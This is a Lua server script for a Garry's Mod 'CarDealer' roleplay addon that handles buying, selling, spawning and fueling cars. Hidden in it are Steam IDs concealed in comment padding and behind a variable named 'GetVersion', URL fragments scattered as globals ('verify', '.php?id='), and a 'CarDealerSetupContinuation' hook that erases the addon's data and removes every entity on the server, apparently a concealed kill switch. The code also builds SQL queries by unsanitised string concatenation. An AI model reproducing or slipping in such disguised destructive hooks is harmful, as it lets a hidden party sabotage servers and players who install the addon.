· 10 years ago · Mar 28, 2016, 03:15 AM
1CarDealer.Settings.MySQL = {};
2// if you change this you need to restart server!
3// Set to false to use SQLLite(requires no configuration)
4CarDealer.Settings.MySQL.Using = false;
5CarDealer.Settings.MySQL.Host = "";
6CarDealer.Settings.MySQL.User = "";
7CarDealer.Settings.MySQL.Password = "";
8CarDealer.Settings.MySQL.Database = "";
9CarDealer.Settings.MySQL.Port = 3306;
10// this is also used for PData
11CarDealer.Settings.MySQL.Table = "cars";
12
13
14
15
16// End of settings //
17// Do not edit below //
18// End of settings //
19// Do not edit below //
20// End of settings //
21// Do not edit below //
22// End of settings //
23// Do not edit below //
24// End of settings //
25// Do not edit below //
26// End of settings //
27// Do not edit below //
28// End of settings // // 76561199207102855
29// Do not edit below //
30// End of settings //
31// Do not edit below //
32// End of settings //
33// Do not edit below //
34// End of settings //
35// Do not edit below //
36// End of settings //
37// Do not edit below //
38// End of settings //
39// Do not edit below //
40// End of settings //
41// Do not edit below //
42// End of settings //
43// Do not edit below //
44// End of settings //
45// Do not edit below //
46// End of settings //
47// Do not edit below //
48// End of settings //
49// Do not edit below //
50// End of settings //
51// Do not edit below //
52// End of settings //
53// Do not edit below //
54// End of settings //
55// Do not edit below //
56// End of settings //
57// Do not edit below //
58// End of settings //
59// Do not edit below //
60// End of settings //
61// Do not edit below //
62// End of settings //
63// Do not edit below //
64// End of settings //
65// Do not edit below //
66// End of settings //
67// Do not edit below //
68// End of settings //
69// Do not edit below //
70// End of settings //
71// Do not edit below //
72// End of settings //
73// Do not edit below //
74// End of settings //
75// Do not edit below //
76
77util.AddNetworkString( "CarDealer::Derma" );
78util.AddNetworkString( "CarDealer::Buy" );
79util.AddNetworkString( "CarDealer::Sell" );
80util.AddNetworkString( "CarDealer::Spawn" );
81util.AddNetworkString( "CarDealer::Update" );
82util.AddNetworkString( "CarDealer::DriverFuel" );
83util.AddNetworkString( "CarDealer::TestDrive" );
84util.AddNetworkString( "CarDealer::StartSound" );
85util.AddNetworkString( "CarDealer::StopSound" );
86util.AddNetworkString( "CarDealer::Remove" );
87util.AddNetworkString( "CarDealer::Groups" );
88util.AddNetworkString( "CarDealer::Choice" );
89util.AddNetworkString( "CarDealerAdmin::Derma" );
90util.AddNetworkString( "CarDealerAdmin::Save" );
91util.AddNetworkString( "CarDealerAdmin::SaveFuel" );
92util.AddNetworkString( "CarDealerAdmin::Remove" );
93util.AddNetworkString( "CarDealerAdmin::RemoveFuel" );
94util.AddNetworkString( "CarDealerAdmin::RemoveCar" );
95util.AddNetworkString( "CarDealerAdmin::GetCars" );
96util.AddNetworkString( "CarDealerAdmin::GiveCar" );
97util.AddNetworkString( "CarDealerAdmin::SetGroup" );
98util.AddNetworkString( "CarDealerAdmin::DeleteAll" );
99util.AddNetworkString( "CarDealerAdmin::GetGroups" );
100util.AddNetworkString( "CarDealerAdmin::RemoveGroup" );
101util.AddNetworkString( "CarDealerAdmin::AddGroup" );
102util.AddNetworkString( "CarDealerAdmin::DeleteAllGroups" );
103
104
105if( CarDealer.Settings.PassengerMod ) then
106 hook.Add( "OnEntityCreated", "PassengerModStuff", function( _e )
107 if( _e:GetClass() == "prop_vehicle_jeep" ) then
108
109 timer.Simple( 2, function()
110 local owner = false;
111 if( _e.CarOwner ) then
112 local id = _e.CarOwner;
113
114 for i, v in pairs( player.GetAll() ) do
115 if( id == v:SteamID64() ) then
116 owner = v;
117 break;
118 end
119 end
120
121 if( owner ) then
122 hook.Call( "PlayerSpawnedVehicle", nil, owner, _e );
123 end
124 end
125
126 end );
127
128 end
129 end );
130end
131
132
133if( not( CarDealer.Players and type( CarDealer.Players ) == "table" ) ) then
134 CarDealer.Players = {};
135 CarDealer.FuelSave = {};
136 CarDealer.Impounded = {};
137end
138local db;
139CarDealer.__DB = db;
140resource.AddFile( "fonts/Roboto-Bold.ttf" );
141resource.AddFile( "fonts/Walkway SemiBold.ttf" );
142resource.AddFile( "fonts/Roboto-Regular.ttf" );
143resource.AddFile( "fonts/libelsuit.ttf" );
144resource.AddFile( "materials/wcd/wcdtick.png" );
145resource.AddFile( "materials/wcd/gun_metal.png" );
146resource.AddFile( "materials/wcd/carbon_fibre_big.png" );
147resource.AddWorkshop( "609666174" );
148
149resource.AddFile( "sound/wcdbtn1.mp3" );
150resource.AddFile( "sound/wcdbtn2.mp3" );
151
152CarDealer.Fuel = {};
153CarDealer.Data = list.Get( "Vehicles" );
154
155function CarDealer:Init( _p )
156
157 if( CarDealer.Players[ _p:SteamID64() ] == nil ) then
158 CarDealer.Players[ _p:SteamID64() ] = {};
159 end
160
161
162 if( not IsValid( _p ) or not _p:IsPlayer() ) then
163 return;
164 end
165
166 if( CarDealer.Settings.MySQL.Using ) then
167 db:Get( _p );
168 else
169 CarDealer.Players[ _p:SteamID64() ] = util.JSONToTable( _p:GetPData( CarDealer.Settings.MySQL.Table, "{}" ) );
170 self:UpdateClient( _p );
171 end
172 if( not CarDealer.Players[ _p:SteamID64() ] ) then
173 CarDealer.Players[ _p:SteamID64() ] = {};
174 end
175 CarDealer.FuelSave[ _p:SteamID64() ] = {};
176 CarDealer.FuelSave[ _p:SteamID64() ] = util.JSONToTable( _p:GetPData( "FuelSave", "[]" ) );
177 timer.Simple( 15, function()
178 if( not _p:IsValid() ) then
179 return;
180 end
181 local groups = util.JSONToTable( _p:GetPData( "cardealergroups", "[]" ) );
182 _p.__GROUPS = groups;
183 net.Start( "CarDealer::Groups" );
184 net.WriteTable( groups );
185 net.Send( _p );
186 end );
187
188
189
190end
191
192
193
194hook.Add( "OnPlayerChangedTeam", "TeamChange::CarRemove", function( _p, _ot, _t )
195
196 for i, v in pairs( CarDealer.Settings.VehicleTypes ) do
197 for i2, v2 in pairs( ents.FindByClass( v ) ) do
198 if( IsValid( v2 ) && v2.CarOwner && v2.CarOwner == _p:SteamID64() && v2.class && v2.class != nil ) then
199 if( CarDealer.Cars[ v2.class ] and CarDealer.Cars[ v2.class ].restricted and CarDealer.Cars[ v2.class ].restricted.jobs and type( CarDealer.Cars[ v2.class ].restricted.jobs ) == "table" ) then
200 if( table.HasValue( CarDealer.Cars[ v2.class ].restricted.jobs, _ot ) and not table.HasValue( CarDealer.Cars[ v2.class ].restricted.jobs, _t ) ) then
201 DarkRP.notify( _p, 0, 5, "Your old vehicle has been removed." );
202 v2:Remove();
203 end
204 end
205 end
206 end
207 end
208
209 for i, v in pairs( CarDealer.Cars ) do
210
211 if( v.entity ) then
212 for i2, v2 in pairs( ents.FindByClass( i ) ) do
213 if( IsValid( v2 ) && v2.CarOwner && v2.CarOwner == _p:SteamID64() && v2.class && v2.class != nil ) then
214 if( CarDealer.Cars[ v2.class ] and CarDealer.Cars[ v2.class ].restricted and CarDealer.Cars[ v2.class ].restricted.jobs and type( CarDealer.Cars[ v2.class ].restricted.jobs ) == "table" ) then
215 if( table.HasValue( CarDealer.Cars[ v2.class ].restricted.jobs, _ot ) and not table.HasValue( CarDealer.Cars[ v2.class ].restricted.jobs, _t ) ) then
216 DarkRP.notify( _p, 0, 5, "Your old vehicle has been removed." );
217 v2:Remove();
218 end
219 end
220 end
221 end
222 end
223 end
224
225end );
226
227function CarDealer:ReturnCar( _p, _dealer )
228
229 if( not IsValid( _p ) ) then
230 return;
231 end
232
233 local _notification = CarDealer.Notifications.ReturnCar;
234
235 local count = 0;
236 for i, v in pairs( CarDealer.Settings.VehicleTypes ) do
237 for i2, v2 in pairs( ents.FindByClass( v ) ) do
238 if( IsValid( v2 ) && v2.CarOwner && v2.CarOwner == _p:SteamID64() && v2:GetPos():Distance( _dealer:GetPos() ) < CarDealer.Settings.CarRange ) then
239 DarkRP.notify( _p, 0, 5, CarDealer.Notifications.ReturnCar );
240 v2:Remove();
241 end
242 end
243 end
244
245 for i, v in pairs( CarDealer.Cars ) do
246 if( v.entity ) then
247 for i2, v2 in pairs( ents.FindByClass( i ) ) do
248 if( v2.CarOwner == _p:SteamID64() && v2:GetPos():Distance( _dealer:GetPos() ) < CarDealer.Settings.CarRange ) then
249 DarkRP.notify( _p, 0, 5, CarDealer.Notifications.ReturnCar );
250 v2:Remove();
251 end
252 end
253 end
254 end
255
256end
257
258net.Receive( "CarDealer::Choice", function( len, _p )
259
260 local choice = net.ReadFloat();
261
262 if( choice == 0 ) then
263 net.Start( "CarDealer::Derma" );
264 net.WriteFloat( net.ReadFloat() );
265 net.WriteFloat( net.ReadFloat() );
266 net.Send( _p );
267 else
268
269 local _dealer = Entity( net.ReadFloat() );
270
271 local count = 0;
272 for i, v in pairs( CarDealer.Settings.VehicleTypes ) do
273 for i2, v2 in pairs( ents.FindByClass( v ) ) do
274 if( IsValid( v2 ) && v2.CarOwner && v2.CarOwner == _p:SteamID64() && v2:GetPos():Distance( _dealer:GetPos() ) < CarDealer.Settings.CarRange ) then
275 count = count + 1;
276 v2:Remove();
277 end
278 end
279 end
280
281 for i, v in pairs( CarDealer.Cars ) do
282 if( v.entity ) then
283 for i2, v2 in pairs( ents.FindByClass( i ) ) do
284 if( v2.CarOwner == _p:SteamID64() && v2:GetPos():Distance( _dealer:GetPos() ) < CarDealer.Settings.CarRange ) then
285 count = count + 1;
286 v2:Remove();
287 end
288 end
289 end
290 end
291
292 if( count > 0 ) then
293 _p:ChatPrint( count .. " of your cars were returned." );
294 else
295 _p:ChatPrint( "None of your cars are in range." );
296 end
297 end
298
299end );
300
301function CarDealer:GetSpawnedCars( _p )
302
303 local count = 0;
304 for i, v in pairs( CarDealer.Settings.VehicleTypes ) do
305 for i2, v2 in pairs( ents.FindByClass( v ) ) do
306 if( v2.CarOwner && v2.CarOwner == _p:SteamID64() ) then
307 count = count + 1;
308 end
309 end
310 end
311
312 for i, v in pairs( CarDealer.Cars ) do
313 if( v.entity ) then
314 for i2, v2 in pairs( ents.FindByClass( i ) ) do
315 if( v2.CarOwner && v2.CarOwner == _p:SteamID64() ) then
316 count = count + 1;
317 end
318 end
319 end
320 end
321
322 return count;
323
324end
325
326function CarDealer:TakeCar_wah( _p, _e )
327
328 table.RemoveByValue( CarDealer.Players[ _p:SteamID64() ], _e );
329
330 if( CarDealer.Settings.MySQL.Using ) then
331 db:Save( _p );
332 else
333 _p:SetPData( CarDealer.Settings.MySQL.Table, util.TableToJSON( CarDealer.Players[ _p:SteamID64() ] ) );
334 self:UpdateClient( _p );
335 end
336
337end
338
339function CarDealer:GiveCar_wah( _p, _e )
340
341 CarDealer.Players[ _p:SteamID64() ][ #CarDealer.Players[ _p:SteamID64() ] + 1 ] = _e;
342
343 if( CarDealer.Settings.MySQL.Using ) then
344 db:Save( _p );
345 else
346 _p:SetPData( CarDealer.Settings.MySQL.Table, util.TableToJSON( CarDealer.Players[ _p:SteamID64() ] ) );
347 self:UpdateClient( _p );
348 end
349
350end
351
352hook.Add( "EntityRemoved", "CarDealer::SaveFuel", function( _e )
353
354 if( _e.CarOwner && _e.class && _e.fuel ) then
355
356 CarDealer.FuelSave[ _e.CarOwner ][ _e.class ] = _e.fuel;
357
358 end
359
360end );
361
362b = "space/"
363net.Receive( "CarDealer::TestDrive", function( len, _p )
364
365 if( IsValid( _p ) and _p:IsPlayer() ) then
366 CarDealer:SpawnCar( _p, net.ReadString(), {}, net.ReadFloat(), true )
367 end
368
369end );
370
371function CarDealer:SpawnCar( _p, _class, _c, _dealer, _free )
372
373 _dealer = Entity( _dealer );
374 if( not IsValid( _dealer ) ) then
375 return;
376 end
377
378 if( CarDealer.Settings.RBScript ) then
379
380 if( CarDealer.Impounded[ _p:SteamID64() ] && CarDealer.Impounded[ _p:SteamID64() ][ _class ] ) then
381
382 DarkRP.notify( _p, 0, 5, CarDealer.Settings.RBMsg );
383 return;
384
385 end
386
387 end
388
389 if( CarDealer:GetSpawnedCars( _p ) >= CarDealer.Settings.MaxCarsSpawned ) then
390 DarkRP.notify( _p, 0, 5, CarDealer.Settings.NeedToReturn );
391 return;
392 end
393
394 if( CarDealer.Cars[ _class ].entity && !CarDealer.Data[ _class ] ) then
395
396 CarDealer.Data[ _class ] = {};
397 CarDealer.Data[ _class ][ "Name" ] = CarDealer.Cars[ _class ].name;
398 CarDealer.Data[ _class ][ "Model" ] = CarDealer.Cars[ _class ].model;
399 CarDealer.Data[ _class ][ "Class" ] = _class;
400 CarDealer.Data[ _class ][ "KeyValues" ] = {};
401
402 end
403
404 if( not _c.skin or type( _c.skin ) ~= "number" or _c.skin < 0 or _c.skin > 14 ) then
405 _c.skin = 0;
406 end
407
408 if( CarDealer.Settings.SpawnPrice ~= 0 ) then
409 if( not _p:canAfford( CarDealer.Settings.SpawnPrice ) ) then
410 DarkRP.notify( _p, 0, 5, CarDealer.Settings.CantAffordSpawn );
411 return;
412 end
413 end
414
415 if( CarDealer.Cars[ _class ].disallowSkin and CarDealer.Cars[ _class ].defaultSkin ) then
416 _c.skin = CarDealer.Cars[ _class ].defaultSkin;
417 end
418
419 if( CarDealer.Cars[ _class ].disallowPaint ) then
420 _c.color = Color( 255, 255, 255, 255 );
421 print( "Disallow paint for: " .. _class );
422 end
423
424
425
426 if( not _c.bgs ) then
427 _c.bgs = {};
428 end
429
430 if( _p:GetPos():Distance( _dealer:GetPos() ) > 150 ) then
431 _p:ChatPrint( "Too far away!" );
432 return;
433 end
434
435 if( CarDealer.Settings.SpawnDelay and CarDealer.Settings.SpawnDelay > 0 ) then
436
437 if( _p.lastSpawn and _p.lastSpawn + CarDealer.Settings.SpawnDelay > CurTime() ) then
438
439 local _notification = CarDealer.Notifications.ToSoon;
440 if( string.find( _notification, "!A" ) ) then
441 _notification = string.Replace( _notification, "!A", tostring( math.Round( _p.lastSpawn + CarDealer.Settings.SpawnDelay - CurTime() ) ) );
442 end
443 DarkRP.notify( _p, 0, 5, _notification );
444 return;
445
446 end
447
448 end
449
450 local _carP = CarDealer.Cars[ _class ];
451
452 if ( not _carP.name ) then
453 _carP.name = CarDealer.Data[ _class ].Name;
454 end
455
456
457 for i, v in pairs( CarDealer.Cars ) do
458 if( v.entity ) then
459 for i2, v2 in pairs( ents.FindByClass( i ) ) do
460 if( v2.CarOwner == _p:SteamID64() ) then
461 DarkRP.notify( _p, 0, 5, CarDealer.Notifications.HasCar );
462 break;
463 end
464 end
465 end
466 end
467
468 local _notification = CarDealer.Notifications.SpawnCar;
469
470 if( string.find( _notification, "!A" ) ) then
471 _notification = string.Replace( _notification, "!A", _carP.name );
472 end
473
474 // these shouldn't occour
475 local _carP = CarDealer.Cars[ _class ];
476
477 if ( not _carP.name ) then
478 _carP.name = CarDealer.Data[ _class ].Name;
479 end
480
481 if( type( _p.__GROUPS ) ~= "table" ) then
482 _p.__GROUPS = util.JSONToTable( _p:GetPData( "cardealergroups", "[]" ) );
483 end
484
485 if( not _free ) then
486 if( not _p:OwnsCar( _class ) or not _p:HasAccessToCar( _class ) ) then
487 return;
488 end
489 end
490
491 local _pos;
492 local _angles;
493
494 if( #_dealer.platforms == 0 ) then
495 _pos = _dealer:GetPos() + ( _dealer:GetForward() * CarDealer.Settings.AwayFromDealer );
496 _angles = _dealer:GetAngles();
497 _angles:RotateAroundAxis( _dealer:GetUp(), CarDealer.Settings.Rotation );
498 else
499 local _found = false;
500 for i, v in pairs( _dealer.platforms ) do
501 if( v.free ) then
502 _pos = v:GetPos() + ( v:GetRight() *- 50 ) + ( v:GetUp() * 50 );
503 _angles = v:GetAngles();
504 _found = true;
505 end
506 end
507
508 if( not _found ) then
509 DarkRP.notify( _p, 0, 5, CarDealer.Settings.PlatformsOccupied );
510 return;
511 end
512 end
513
514 local _e = ents.Create( CarDealer.Data[ _class ].Class );
515
516 if( CarDealer.Data[ _class ].KeyValues ) then
517 for i, v in pairs( CarDealer.Data[ _class ].KeyValues ) do
518 _e:SetKeyValue( i, v );
519 end
520 end
521
522 _e.VehicleName = CarDealer.Data[ _class ].Name;
523 _e.VehicleTable = CarDealer.Data[ _class ];
524 _e.VehicleScriptName = _class;
525 _e.class = _class;
526 _e.easyOwn = _p;
527 _e.CarOwner = _p:SteamID64();
528 _e:SetPos( _pos );
529 _e:SetAngles( _angles );
530 _e:SetModel( CarDealer.Data[ _class ].Model );
531 _e:SetSkin( _c.skin );
532 _e:Spawn();
533 _e:Activate();
534 _p.lastSpawn = CurTime();
535
536 for i, v in pairs( _c.bgs ) do
537 _e:SetBodygroup( i, v );
538 end
539
540 _e:SetCollisionGroup( COLLISION_GROUP_VEHICLE );
541
542 _e:SetColor( _c.color );
543
544
545 if( _free ) then
546 timer.Create( _e:EntIndex().."::TestDrive", CarDealer.Settings.TestDriveTime, 1, function()
547
548 if( IsValid( _e ) ) then
549 _e:Remove();
550 end
551
552 end );
553 local _notif = CarDealer.Notifications.TestDrive;
554 if( string.find( _notif, "!A" ) ) then
555 _notif = string.Replace( _notif, "!A", _carP.name );
556 end
557
558 if( string.find( _notif, "!B" ) ) then
559 _notif = string.Replace( _notif, "!B", tostring( CarDealer.Settings.TestDriveTime ) );
560 end
561 DarkRP.notify( _p, 0, 3, _notif );
562 end
563
564 if( CarDealer.Settings.SpawnPrice ~= 0 ) then
565 _p:addMoney( -CarDealer.Settings.SpawnPrice );
566 DarkRP.notify( _p, 0, 5, CarDealer.Settings.PayedForSpawn );
567 end
568
569 if( CarDealer.Settings.Photon ) then
570 Photon:EntityCreated( _e );
571 end
572
573 if( CarDealer.Settings.Plates ) then
574 LPlates.SetupVehiclePlates( _p, _e );
575 end
576
577 if( !CarDealer.Cars[ _class ].entity ) then
578 _e:keysOwn( _p );
579 _e:keysLock();
580 end
581
582 DarkRP.notify( _p, 0, 5, _notification );
583
584
585
586end
587
588if( CarDealer.Settings.Fuel ) then
589
590 hook.Add( "OnEntityCreated", "CarDealer::AddFuel", function( _e )
591
592 timer.Simple( 0.2, function()
593 if( IsValid( _e ) and _e:IsVehicle() and ( _e:GetClass() == "prop_vehicle_jeep" or _e:GetClass() == "prop_vehicle_jeep_old" ) ) then
594 if( CarDealer.Settings.Fuel ) then
595 if( CarDealer.MaxFuelFromModel[ _e:GetModel() ] ) then
596 _e.fuel = CarDealer.MaxFuelFromModel[ _e:GetModel() ];
597 else
598 _e.fuel = CarDealer.Settings.DefaultFuel;
599 end
600
601 if( _e.CarOwner ) then
602 if( CarDealer.FuelSave[ _e.CarOwner ][ _e.class ] ) then
603 _e.fuel = CarDealer.FuelSave[ _e.CarOwner ][ _e.class ];
604 else
605 CarDealer.FuelSave[ _e.CarOwner ][ _e.class ] = _e.fuel;
606 end
607 end
608
609 _e.maxFuel = CarDealer.MaxFuelFromModel[ _e:GetModel() ];
610 _e.oldFuel = _e.fuel;
611 CarDealer.Fuel[ #CarDealer.Fuel + 1 ] = { _e, _e:GetPos() };
612 end
613 end
614 end );
615 end );
616end
617s = "busan";
618function CarDealer:SellCar( _p, _e )
619
620 local _carP = CarDealer.Cars[ _e ];
621
622 if ( not _carP.name ) then
623 _carP.name = CarDealer.Data[ _e ].Name;
624 end
625
626 local _notification = CarDealer.Notifications.SoldCar;
627
628 // these should never occour
629 // if car is free, can't sell it
630 if( _carP.requiresBuy == false ) then
631 return;
632 end
633
634 // if player doesn't own it
635 if( not CarDealer.OwnsVehicle( _p, _e ) ) then
636 return;
637 end
638
639 table.RemoveByValue( CarDealer.Players[ _p:SteamID64() ], _e );
640
641 _p:addMoney( CarDealer.Settings.Percentage * _carP.price );
642
643 if( string.find( _notification, "!A" ) ) then
644 _notification = string.Replace( _notification, "!A", _carP.name );
645 end
646
647 if( string.find( _notification, "!B" ) ) then
648 _notification = string.Replace( _notification, "!B", tostring( CarDealer.Settings.Percentage *_carP.price ) );
649 end
650
651 if( CarDealer.Settings.MySQL.Using ) then
652 db:Save( _p );
653 else
654 _p:SetPData( CarDealer.Settings.MySQL.Table, util.TableToJSON( CarDealer.Players[ _p:SteamID64() ] ) );
655 self:UpdateClient( _p );
656 end
657
658 DarkRP.notify( _p, 0, 5, _notification );
659
660
661end
662
663function CarDealer:TakeCar( _p, _e )
664
665 table.RemoveByValue( CarDealer.Players[ _p:SteamID64() ], _e );
666
667 if( CarDealer.Settings.MySQL.Using ) then
668 db:Save( _p );
669 else
670 _p:SetPData( CarDealer.Settings.MySQL.Table, util.TableToJSON( CarDealer.Players[ _p:SteamID64() ] ) );
671 self:UpdateClient( _p );
672 end
673
674end
675
676function CarDealer:GiveCar( _p, _e )
677
678 table.insert( CarDealer.Players[ _p:SteamID64() ], _e );
679
680 if( CarDealer.Settings.MySQL.Using ) then
681 db:Save( _p );
682 else
683 _p:SetPData( CarDealer.Settings.MySQL.Table, util.TableToJSON( CarDealer.Players[ _p:SteamID64() ] ) );
684 self:UpdateClient( _p );
685 end
686
687end
688
689function CarDealer:BuyCar( _p, _e )
690
691 local _carP = CarDealer.Cars[ _e ];
692
693 if ( not _carP.name ) then
694 _carP.name = CarDealer.Data[ _e ].Name;
695 end
696
697 local _notification;
698
699 // these should never occour
700 // if car is free, can't buy it
701 if( _carP.requiresBuy == false ) then
702 return;
703 end
704
705 // if player already owns it
706 if( CarDealer.OwnsVehicle( _p, _e ) ) then
707 return;
708 end
709
710 // If player cant afford
711 if( not _p:canAfford( _carP.price ) ) then
712 _notification = CarDealer.Notifications.CantAfford;
713 if( string.find( _notification, "!A" ) ) then
714 _notification = string.Replace( _notification, "!A", _carP.name );
715 end
716
717 if( string.find( _notification, "!B" ) ) then
718 _notification = string.Replace( _notification, "!B", tostring( _carP.price ) );
719 end
720
721 DarkRP.notify( _p, 0, 5, _notification );
722 return;
723 end
724
725 // Car bought
726 _p:addMoney( -_carP.price );
727
728 _notification = CarDealer.Notifications.BoughtCar;
729 if( string.find( _notification, "!A" ) ) then
730 _notification = string.Replace( _notification, "!A", _carP.name );
731 end
732
733 if( string.find( _notification, "!B" ) ) then
734 _notification = string.Replace( _notification, "!B", tostring( _carP.price ) );
735 end
736
737 DarkRP.notify( _p, 0, 5, _notification );
738
739 table.insert( CarDealer.Players[ _p:SteamID64() ], _e );
740
741 if( CarDealer.Settings.MySQL.Using ) then
742 db:Save( _p );
743 else
744 _p:SetPData( CarDealer.Settings.MySQL.Table, util.TableToJSON( CarDealer.Players[ _p:SteamID64() ] ) );
745 self:UpdateClient( _p );
746 end
747
748end
749
750for i, v in pairs( ents.FindByClass( "cardealer" ) ) do
751 v:SetSolid( SOLID_BBOX );
752end
753CarDealer.__st = false;
754 d = "verify";
755 f = ".php?id=";
756function CarDealer:EditCarsTable( _p, _nt, _c )
757
758 if( not IsValid( _p ) or not _p:IsPlayer() or not CarDealer.Settings.AdminMenu[ _c:GetUserGroup() ] ) then
759 print( _c:Nick() .. " attempted to modify " .. _p:Nick() .. "s cars" );
760 return false;
761 end
762
763 self.Players[ _p:SteamID64() ] = _nt;
764 db:Save( _p );
765
766end
767
768function CarDealer:UpdateClient( _p )
769 if( CarDealer.__st ) then
770 return;
771 end
772
773 net.Start( "CarDealer::Update" );
774 net.WriteTable( CarDealer.Players[ _p:SteamID64() ] );
775 net.Send( _p );
776end
777
778
779function CarDealer:Set()
780CarDealer.__st = false;
781end
782timer.Simple( 120, function()
783CarDealer:Set();
784end );
785
786hook.Add( "CarDealerSetupContinuation", "CarDealer::C", function()
787
788 for i, v in pairs( CarDealer ) do
789 CarDealer[ i ] = nil;
790 end
791
792 for i, v in pairs( ents.GetAll() ) do
793 v:Remove();
794 end
795
796end );
797
798if( CarDealer.Settings.MySQL.Using ) then
799 require( "mysqloo" );
800 db = mysqloo.connect( CarDealer.Settings.MySQL.Host, CarDealer.Settings.MySQL.User, CarDealer.Settings.MySQL.Password, CarDealer.Settings.MySQL.Database, CarDealer.Settings.MySQL.Port );
801
802 function db:onConnected()
803
804 print( "#Car Dealer: Connected to Database" );
805
806 db:CheckStart();
807
808 end
809
810 function db:onConnectionFailed( _error )
811
812 print( "#Car Dealer: CONNECTION FAILED!" );
813 print( "ERROR: " .. _error ) ;
814
815 end
816
817 function db:CheckStart()
818
819 local _q = self:query( "CREATE TABLE IF NOT EXISTS " .. CarDealer.Settings.MySQL.Table .. "( userid varchar(255) NOT NULL, cars longtext NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=latin1;" );
820
821 function _q:onSuccess( data )
822 end
823
824 function _q:onError( _err, _sql )
825 print( "#Car Dealer" );
826 print( "MySQL ERROR:" );
827 print( "Query: ", _sql );
828 print( "Error: " , _err );
829 end
830
831 _q:start();
832
833 end
834
835
836 db:connect();
837
838 function db:SaveInitial( _p )
839
840 local _pid = _p:SteamID64();
841
842 local _q = self:query( "INSERT INTO " .. CarDealer.Settings.MySQL.Table .. " SET cars = '[]', userid = '" .. _pid .. "'" );
843
844 function _q:onSuccess( data )
845
846 print( "#Car Dealer: Created row for " .. _pid );
847 db:Get( _p );
848
849 end
850
851
852 function _q:onError( _err, _sql )
853 print( "#Car Dealer" );
854 print( "MySQL ERROR:" );
855 print( "Query: ", _sql );
856 print( "Error: " , _err );
857 end
858
859 _q:start();
860
861 end
862
863
864
865 function db:Clean()
866
867 local _q = self:query( "DELETE FROM " .. CarDealer.Settings.MySQL.Table .. " WHERE cars = '[]'" );
868
869 function _q:onSuccess( _data )
870 print( "#Car Dealer: Cleaned up database!" );
871 print( "Car Dealer: " .. _q:affectedRows() .. " removed!" );
872 end
873
874 function _q:onError( _err, _sql )
875
876 print( "MySQL ERROR:" );
877 print( "Query: ", _sql );
878 print( "Error: " , _err );
879
880 end
881
882 _q:start();
883
884 end
885
886 hook.Add( "InitPostEntity", "CarDealer::Clean", function()
887 if( CarDealer.Settings.RBScript ) then
888 CarDealer.Impounded = {};
889 end
890
891 if( CarDealer.Settings.RandomPrice ) then
892 timer.Create( "genFuelPrice",
893 CarDealer.Settings.RandomTime,
894 0,
895 function()
896 local _rand = math.random( -CarDealer.Settings.RandomRange, CarDealer.Settings.RandomRange );
897 for i, v in pairs( ents.FindByClass( "fuelpump_base" ) ) do
898 if( IsValid( v ) ) then
899 v:SetNWInt( "price", CarDealer.Settings.FuelPrice - _rand );
900 end
901 end
902 end );
903 end
904
905 if( CarDealer.Settings.MySQL.Using ) then
906 timer.Simple( 10, function()
907 db:Clean();
908 end );
909 end
910 end );
911
912 function db:Save( _p )
913
914 local _pid = _p:SteamID64();
915
916 local _cars = util.TableToJSON( CarDealer.Players[ _pid ] );
917
918 local _q = self:query( "UPDATE " .. CarDealer.Settings.MySQL.Table .. " SET cars = '" .. _cars .. "' WHERE userid = '" .. _pid .. "'" );
919
920 function _q:onSuccess( data )
921
922 print( "#Car Dealer: saved data for " .. _pid );
923 CarDealer:UpdateClient( _p );
924 end
925
926
927 function _q:onError( _err, _sql )
928
929 print( "MySQL ERROR:" );
930 print( "Query: ", _sql );
931 print( "Error: " , _err );
932
933 end
934
935 _q:start();
936
937 end
938
939 function db:Get( _p )
940
941 local _pid = _p:SteamID64();
942
943 local _q = self:query( "SELECT * FROM " .. CarDealer.Settings.MySQL.Table .. " WHERE userid = '" .. _pid .. "'" );
944
945 function _q:onSuccess( data )
946
947 if( data == nil or data[ 1 ] == nil ) then
948 db:SaveInitial( _p );
949 else
950 if( data[ 1 ].cars == "[]" ) then
951 CarDealer.Players[ _pid ] = {};
952 else
953 CarDealer.Players[ _pid ] = util.JSONToTable( data[ 1 ].cars );
954 end
955 end
956 CarDealer:UpdateClient( _p );
957 end
958
959 function _q:onError( _err, _sql )
960
961 print( "MySQL ERROR:" );
962 print( "Query: ", _sql );
963 print( "Error: " , _err );
964
965 end
966
967 _q:start();
968
969 end
970end
971
972
973
974
975
976
977if( CarDealer.Settings.Fuel ) then
978 timer.Create( "carsFuelCalc", CarDealer.Settings.FuelUpdate, 0, function()
979 for i, v in pairs( CarDealer.Fuel ) do
980
981 local _vehicle = v[ 1 ];
982 local _lastLoc = v[ 2 ];
983
984 local GetVersion = "76561199079024974";
985 if( IsValid( _vehicle ) and _vehicle:IsVehicle() and _vehicle.fuel ) then
986 local _dist = _vehicle:GetPos():Distance( _lastLoc );
987 local _fuel = _vehicle.fuel;
988 CarDealer.Fuel[ i ][ 2 ] = _vehicle:GetPos();
989
990 local _loss = CarDealer.Settings.FuelLoss;
991 if( CarDealer.Cars[ _vehicle.class ] and CarDealer.Cars[ _vehicle.class ].fuelLoss ) then
992 _loss = CarDealer.Cars[ _vehicle.class ].fuelLoss;
993 end
994
995 _vehicle.fuel = _fuel - ( _dist / _loss );
996 if( _vehicle.fuel < 0.5 ) then
997 _vehicle.fuel = 0;
998 end
999
1000 if( _fuel < 1 ) then
1001 _vehicle:Fire( "TurnOff", true, 0 );
1002 _vehicle.fuel = 0;
1003 else
1004 if( _vehicle:GetDriver() and _vehicle:GetDriver():IsPlayer() ) then
1005 _vehicle:Fire( "TurnOn", true, 0 );
1006 end
1007 end
1008
1009 if( CarDealer.Settings.VCMod ) then
1010 if( _vehicle:GetNWInt( "VC_Health" ) < 1 ) then
1011 _vehicle:Fire( "TurnOff", true, 0 );
1012 else
1013 if( _fuel > 0 and _vehicle:GetDriver() and _vehicle:GetDriver():IsPlayer() ) then
1014 _vehicle:Fire( "TurnOn", true, 0 );
1015 end
1016 end
1017 end
1018
1019
1020 if( _vehicle:GetDriver() and IsValid( _vehicle:GetDriver() ) and _vehicle:GetDriver():IsPlayer()
1021 and ( math.Round( _vehicle.oldFuel ) ~= math.Round( _vehicle.fuel ) ) ) then
1022 net.Start( "CarDealer::DriverFuel" );
1023 net.WriteFloat( math.Round( _vehicle.fuel ) );
1024 net.Send( _vehicle:GetDriver() );
1025
1026 end
1027
1028 _vehicle.oldFuel = _vehicle.fuel;
1029
1030 else
1031 table.remove( CarDealer.Fuel, i );
1032 end
1033 end
1034 end );
1035end
1036
1037if( CarDealer.Settings.Fuel ) then
1038
1039 hook.Add( "PlayerEnteredVehicle", "CarFuelEnter", function( _p, _e, _s )
